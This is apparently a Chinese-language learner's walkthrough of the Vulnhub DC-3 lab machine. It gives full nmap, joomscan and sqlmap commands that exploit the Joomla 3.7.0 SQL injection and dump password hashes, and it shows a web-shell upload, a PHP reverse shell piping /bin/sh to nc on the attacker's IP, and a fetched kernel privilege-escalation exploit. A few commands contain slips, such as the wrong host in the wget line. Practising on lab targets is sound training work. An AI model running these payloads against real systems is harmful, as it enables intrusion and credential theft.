Vulnhub靶机DC3渗透测试详解
Vulnhub靶机介绍:
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
从靶机DC-3开始,只有一个最终的flag,只有拿到root权限才可以发现最终的flag。
Vulnhub靶机下载:
官网地址:http://www.five86.com/downloads/DC-3-2.zip
Vulnhub靶机安装:
下载好了把安装包解压 然后试用VMware即可。
Vulnhub靶机漏洞详解:
①:信息收集:
kali里使用netdiscover
发现主机
渗透机:kali IP :172.16.5.42 靶机IP :172.16.5.24
使用命令:
nmap -sS -sV -A -n 172.16.5.24
就开了一个80端口,直接访问发现是Joomla
使用网站指纹工具whatweb
识别靶机网址使用的web服务、系统版本、CMS系统等。
Joomla!是一套全球知名的内容管理系统,Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统。
这里需要使用一个工具joomscan
因为最新kali没有 又去装了一下又学习了一下。
(JoomScan):是一个开源项目,旨在自动执行Joomla CMS部署中的漏洞检测和可靠性保证任务。该工具在Perl中实现,可以无缝轻松地扫描Joomla安装,同时通过其轻量级和模块化架构留下最小的占地面积。它不仅可以检测已知的攻击性漏洞,还能够检测到许多错误配置和管理员级别的缺陷,这些缺陷可被攻击者利用来破坏系统。
git clone https://github.com/rezasp/joomscan.git ##下载源码
cd joomscan ##进入路径
perl joomscan.pl ##运行
一些最基本的参数 使用命令:perl joomscan.pl --url 172.16.5.24
通过上面的 探测我们可以知道Joomla
的版本 3.7.0
以及CMS的后台地址/administrator/
(说明工具还是强大的,爆赞👍)
②:漏洞发现:
通过上面信息收集的基本信息我们可以 去发现漏洞 使用工具searchsploit
搜Joomla
的版本号即可。
这里回显的是一个SQL注入的漏洞 根据这个思路我们需要对网页进行SQL注入的一些操作。
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomscan-1.txt
cat joomscan-1.txt
③:SQL注入:
直接上sqlmap
吧 sqlmap就是自动化检测sql的工具,发现了五个数据库。
sqlmap -u "http://172.16.5.24/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
sqlmap -u "http://172.16.5.24/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
sqlmap -u "http://172.16.5.24/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering] #列出表
注入查询#__users表 发现有6列 知道列了就可以进行下一步字段的操作
sqlmap -u "http://172.16.5.24/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
注入查询#__users表的name、password字段
sqlmap -u "http://172.16.5.24/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
在桌面随便建一个文件把password
的hash密文放进去 然后使用john
进行爆破 密码:snoopy
vim joomla-admin-hash #随便取个名字就就可以了
④:文件上传:
访问172.16.5.24/administrator/
登入进去输入:http://172.16.5.24/templates/beez3/html/shell.php
上传一个shell.php
然后执行 然后使用蚁剑连接🔗
进入虚拟终端看了一下权限 发现权限还是比较小 所以需要提权
⑤:提权:
编写反弹shell
的PHP代码 监听4444
端口,并执行脚本文件,将反弹靶机shell到kali
nc -lvp 4444 #设置监听端口
<?php
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.5.42 4444 >/tmp/f');
?>
使用searchsploit
工具查找Ubuntu 16.04
的提权漏洞
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ubuntu.txt
cat ubuntu.txt
然后根据他给的地址直接 wget
下载 但是我这边不行报错了 可能是访问不到github,所以只能windows 下载然后把他拖进去 不过问题不大 这也是一种思路,
使用命令:python -c "import pty;pty.spawn('/bin/bash')"
因为权限不够所以不能用蚁剑把39772的文件传上去,只能把39772.放到自己kali的网页上面了 然后在开个apache服务。
(DC-3是没有外网的所以我用的这种方法,方法有很多种大家可以多尝试,我也是第一次打,比较菜,大佬绕过就好!)
别忘了开启apache服务 :server apacher2 restart
使用命令:wget http://172.16.5.24/exploit.tar
然后解压:tar -xvf exploit.tar
最后运行提权文件 然后 进入root
看flag即可。
至此获取到了flag,渗透测试结束。
Vulnhub靶机渗透总结:
这是做的第四个靶场了,学习的知识点和一些细节就是 :
1.需要注意的细节就是 DC-3 不能访问github 然后就不能直接下载提权的文件
需要开个apache
服务然后把文件放上面 在使用wget
下载
新知识点:
①:学习了joomscan
工具的使用(工具很强大!!)
②:学习了sqlmap
工具的使用 特别方便
③:学习了编写反弹shell 这个比较难吧因为也是第一次学习了好久
最后 自己也会把这系列的靶机继续更新,创作不易 希望对大家有所帮助!!